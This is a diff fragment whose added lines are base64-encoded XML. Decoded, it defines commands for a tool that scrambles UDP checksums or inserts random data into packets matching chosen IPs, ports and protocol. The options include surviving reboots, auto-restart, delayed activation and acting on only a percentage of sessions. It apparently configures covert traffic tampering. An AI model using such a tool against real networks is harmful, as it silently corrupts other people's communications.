+CiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAg
+ICAgICAgICAgICA8YXJnbnVtYmVyPjE4PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhl
+bHB0ZXh0Pk1heGltdW0gbnVtYmVyIG9mIHBhY2tldHMgdG8gYWZmZWN0IGJlZm9yZSBmaWx0ZXIg
+aXMgdGVybWluYXRlZC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJkaXIi
+Pg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAg
+ICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX2RpcjwvbmN1cnNlaWQ+DQogICAg
+ICAgICAgICAgIDxuY3Vyc2VsYWJlbD5EaXJlY3Rpb248L25jdXJzZWxhYmVsPg0KICAgICAgICAg
+ICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAg
+ICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZh
+bHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAw
+MDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE5PC9hcmdudW1iZXI+
+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PlRoZSBkaXJlY3Rpb24gaW4gYSBjbGllbnQgc2Vy
+dmVyIGNvbm5lY3Rpb24gdGhhdCB0aGlzIGZpbHRlciBhcHBsaWVzIHRvLiAgSWYgZmxhZyBpcyBu
+b3QgdXNlZCwgYm90aCBkaXJlY3Rpb24gd2lsbCBiZSBmaWx0ZXJlZCBvbi4gIElmIDEgaXMgZW50
+ZXJlZCwgb25seSBjb25uZWN0aW9ucyBmcm9tIHRoZSBjbGllbnQgd2lsbCBiZSBmaWx0ZXJlZCBv
+bi4gIElmIDIsIG9ubHkgdGhvc2UgZnJvbSB0aGUgc2VydmVyLjwvaGVscHRleHQ+DQogICAgICAg
+ICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAg
+PC9vcHRpb25hbF9wYXJhbWV0ZXJzPg0KICAgICAgICA8L3BhcmFtZXRlcnM+DQogICAgICAgIDxu
+Y3Vyc2VzbGF5b3V0Pg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4N
+CiAgICAgICAgICAgICAgPHRpdGxlPlNjcmFtYmxlIHVkcF9jaGtzdW0gRmlsdGVyPC90aXRsZT4N
+CiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAgICAgICAgICA8
+c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNj
+cmFtYmxlX2NyZWF0ZV9hdHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+
+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8yPC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVu
+dD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzM8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVt
+ZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29s
+dW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1i
+bGVfY3JlYXRlX2F0dHJpYl81PC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3Jh
+bWJsZV9jcmVhdGVfYXR0cmliXzY8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNj
+cmFtYmxlX2NyZWF0ZV9hdHRyaWJfNzwvZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+
+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl84PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+
+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAg
+PGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl85
+PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uLz4N
+CiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8
+Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9lbjwvZWxlbWVu
+dD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAg
+ICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fcHM8L2VsZW1lbnQ+DQogICAgICAgICAgICA8
+L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNj
+cmFtYmxlX3BhcmFtX3I8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAg
+ICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8Y29sdW1uPg0K
+ICAgICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3RkPC9lbGVtZW50Pg0KICAg
+ICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICAg
+IDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3Q8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVt
+bj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAg
+ICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9zZDwvZWxl
+bWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAg
+ICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fczwvZWxlbWVudD4NCiAgICAgICAgICAg
+IDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+
+c2NyYW1ibGVfcGFyYW1fc208L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAg
+ICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8Y29sdW1u
+Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9wZDwvZWxlbWVudD4NCiAg
+ICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAg
+PGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fcDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1u
+Pg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVf
+cGFyYW1fcG08L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3Nl
+Y3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAg
+ICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9kaXI8L2VsZW1lbnQ+DQogICAgICAgICAg
+ICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgIDwvbmN1cnNlc2xheW91
+dD4NCiAgICAgIDwvY21kPg0KICAgICAgPGNtZCB0aXRsZT0icmFuZG9tLWRhdGEiPg0KICAgICAg
+ICA8aGVscHRleHQ+Q3JlYXRlcyBhIG5ldyByYW5kb20tZGF0YSBydWxlIGJhc2VkIG9uIHRoZSBz
+cGVjaWZpZWQgY3JpdGVyaWEuPC9oZWxwdGV4dD4NCiAgICAgICAgPHByaW1pdGl2ZXM+DQogICAg
+ICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYw
+MDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAxNTwvcHJp
+bWl0aXZlPg0KICAgICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8b3B0
+aW9uYWxfcHJpbWl0aXZlcz4NCiAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNDwvcHJp
+bWl0aXZlPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDA1PC9wcmltaXRpdmU+DQog
+ICAgICAgICAgPC9vcHRpb25hbF9wcmltaXRpdmVzPg0KICAgICAgICA8L3ByaW1pdGl2ZXM+DQog
+ICAgICAgIDxhdHRyaWJ1dGVzPg0KICAgICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAg
+ICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0K
+ICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzE8L25jdXJz
+ZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Tb3VyY2UgSVA8L25jdXJzZWxhYmVs
+Pg0KICAgICAgICAgICAgICAgIDx0eXBlPmlwdjQ8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNp
+emU+MTY8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmlt
+aXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xPC9hcmdudW1iZXI+DQogICAgICAg
+ICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4N
+CiAgICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8yPC9uY3Vy
+c2VpZD4NCiAgICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U291cmNlIE1hc2s8L25jdXJzZWxh
+YmVsPg0KICAgICAgICAgICAgICAgIDx0eXBlPmlwdjQ8L3R5cGU+DQogICAgICAgICAgICAgICAg
+PHNpemU+MTY8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9w
+cmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4yPC9hcmdudW1iZXI+DQogICAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4N
+CiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlk
+PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfMzwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vy
+c2VsYWJlbD5TdGFydCBTcmMgUG9ydDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRy
+aWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAg
+ICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAw
+MzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MzwvYXJnbnVtYmVyPg0K
+ICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1
+dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vy
+c2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzQ8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8
+bmN1cnNlbGFiZWw+RW5kIFNyYyBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAg
+ICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAw
+MDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj40PC9hcmdudW1iZXI+
+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJp
+YnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJp
+Yl81PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+RGVzdGluYXRpb24g
+SVA8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICAgIDx0eXBlPmlwdjQ8L3R5cGU+DQogICAg
+ICAgICAgICAgICAgPHNpemU+MTY8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4w
+eDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj41PC9hcmdu
+dW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5k
+X2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAg
+ICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRl
+X2F0dHJpYl82PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+RGVzdGlu
+YXRpb24gTWFzazwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwvdHlw
+ZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJp
+bWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVy
+PjY8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8
+L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAg
+ICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl83PC9uY3Vyc2VpZD4N
+CiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlN0YXJ0IERzdCBQb3J0PC9uY3Vyc2VsYWJlbD4N
+CiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8
+L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAg
+PHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251
+bWJlcj43PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAg
+ICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4N
+CiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfODwvbmN1cnNl
+aWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5FbmQgRHN0IFBvcnQ8L25jdXJzZWxhYmVs
+Pg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQz
+MjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAg
+ICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJn
+bnVtYmVyPjg8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5z
+Y3JhbWJsZV9jcmVhdGVfYXR0cmliXzk8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vy
+c2VsYWJlbD5Qcm90b2NvbDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+c3Ry
+aW5nPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2PC9zaXplPg0KICAgICAgICAgICAg
+ICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxh
+cmdudW1iZXI+OTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1
+dGVzPg0KICAgICAgICAgIDxvcHRpb25hbF9hdHRyaWJ1dGVzLz4NCiAgICAgICAgPC9hdHRyaWJ1
+dGVzPg0KICAgICAgICA8cGFyYW1ldGVycz4NCiAgICAgICAgICA8cmVxdWlyZWRfcGFyYW1ldGVy
+cy8+DQogICAgICAgICAgPG9wdGlvbmFsX3BhcmFtZXRlcnM+DQogICAgICAgICAgICA8cGFyYW1l
+dGVyIGZsYWc9ImVuIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2Vz
+ZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9lbjwvbmN1
+cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5FbmFibGU8L25jdXJzZWxhYmVsPg0K
+ICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnByZXNlbmNl
+PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE8L3NpemU+DQogICAgICAgICAgICAgICAg
+PGRlZmF1bHR2YWx1ZT50cnVlPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1p
+dGl2ZT4weDBGMDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4y
+PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PkVuYWJsZXMgdGhlIHJ1bGUg
+b24gY3JlYXRpb248L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJwcyI+DQog
+ICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAg
+ICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fcHM8L25jdXJzZWlkPg0KICAgICAgICAg
+ICAgICA8bmN1cnNlbGFiZWw+UGVyc2lzdDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxh
+dHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAg
+ICAgICAgICAgPHNpemU+MTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPnRy
+dWU8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDU8
+L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAg
+ICAgICAgICAgICAgICA8aGVscHRleHQ+RW5hYmxlIHRoZSBmaWx0ZXIgdG8gc3Vydml2ZSByZWJv
+b3RzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAg
+PC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InIiPg0KICAgICAgICAg
+ICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAg
+PG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3I8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1
+cnNlbGFiZWw+QXV0byBSZXN0YXJ0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJp
+YnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5wcmVzZW5jZTwvdHlwZT4NCiAgICAgICAgICAg
+ICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+dHJ1ZTwv
+ZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJp
+bWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTA8L2FyZ251bWJlcj4NCiAgICAg
+ICAgICAgICAgICA8aGVscHRleHQ+QXV0b21hdGljYWxseSByZS1lbmFibGUgdGhlIGZpbHRlciB3
+aGVuIHRlcm1pbmF0aW9uIGlzIHJlYWNoZWQuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9h
+dHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0
+ZXIgZmxhZz0idGQiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNl
+bnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3RkPC9uY3Vy
+c2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlRpbWUgRGVsYXk8L25jdXJzZWxhYmVs
+Pg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnN0cmlu
+ZzwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNTwvc2l6ZT4NCiAgICAgICAgICAgICAg
+ICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJn
+bnVtYmVyPjExPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PlRpbWUgYmVm
+b3JlIGZpbHRlciBhZmZlY3RzIHBhY2tldHMuICBUaGUgZm9ybWF0IGNhbiBiZSBzZWNvbmRzIGku
+ZS4gMzYwMCwgb3Igb25lIGNoYXJhY3RlciBzcGVjaWZpZXJzIGZvciBkYXlzLCBob3VycywgbWlu
+dXRlcywgYW5kIHNlY29uZHMgaS5lLiAxZCAyaCAzbSA0cy48L2hlbHB0ZXh0Pg0KICAgICAgICAg
+ICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAg
+PHBhcmFtZXRlciBmbGFnPSJ0Ij4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8
+L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV90
+PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlRpbWUgRHVyYXRpb248L25j
+dXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0
+eXBlPnN0cmluZzwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNTwvc2l6ZT4NCiAgICAg
+ICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAg
+ICAgICA8YXJnbnVtYmVyPjEyPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0
+PkR1cmF0aW9uIHBhY2tldHMgd2lsbCBiZSBhZmZlY3RlZCBieSBmaWx0ZXIuICBUaGUgZm9ybWF0
+IGNhbiBiZSBzZWNvbmRzIGkuZS4gMzYwMCwgb3Igb25lIGNoYXJhY3RlciBzcGVjaWZpZXJzIGZv
+ciBkYXlzLCBob3VycywgbWludXRlcywgYW5kIHNlY29uZHMgaS5lLiAxZCAyaCAzbSA0cy48L2hl
+bHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1l
+dGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJzZCI+DQogICAgICAgICAgICAgIDxj
+YXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNl
+aWQ+c2NyYW1ibGVfcGFyYW1fc2Q8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFi
+ZWw+U2Vzc2lvbiBEZWxheTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxz
+aXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZh
+bHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0K
+ICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTM8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAg
+ICA8aGVscHRleHQ+TnVtYmVyIG9mIHNlc3Npb25zIHRvIGlnbm9yZSBiZWZvcmUgZmlsdGVyIGFm
+ZmVjdHMgcGFja2V0cy48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJzIj4N
+CiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAg
+ICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9zPC9uY3Vyc2VpZD4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWxhYmVsPlNlc3Npb24gUGVyY2VudGFnZTwvbmN1cnNlbGFiZWw+DQogICAg
+ICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBl
+Pg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZh
+dWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgw
+RjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTQ8L2FyZ251
+bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+UGVyY2VudGFnZSBvZiBzZXNzaW9ucyBm
+aWx0ZXIgd2lsbCBhZmZlY3QuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+
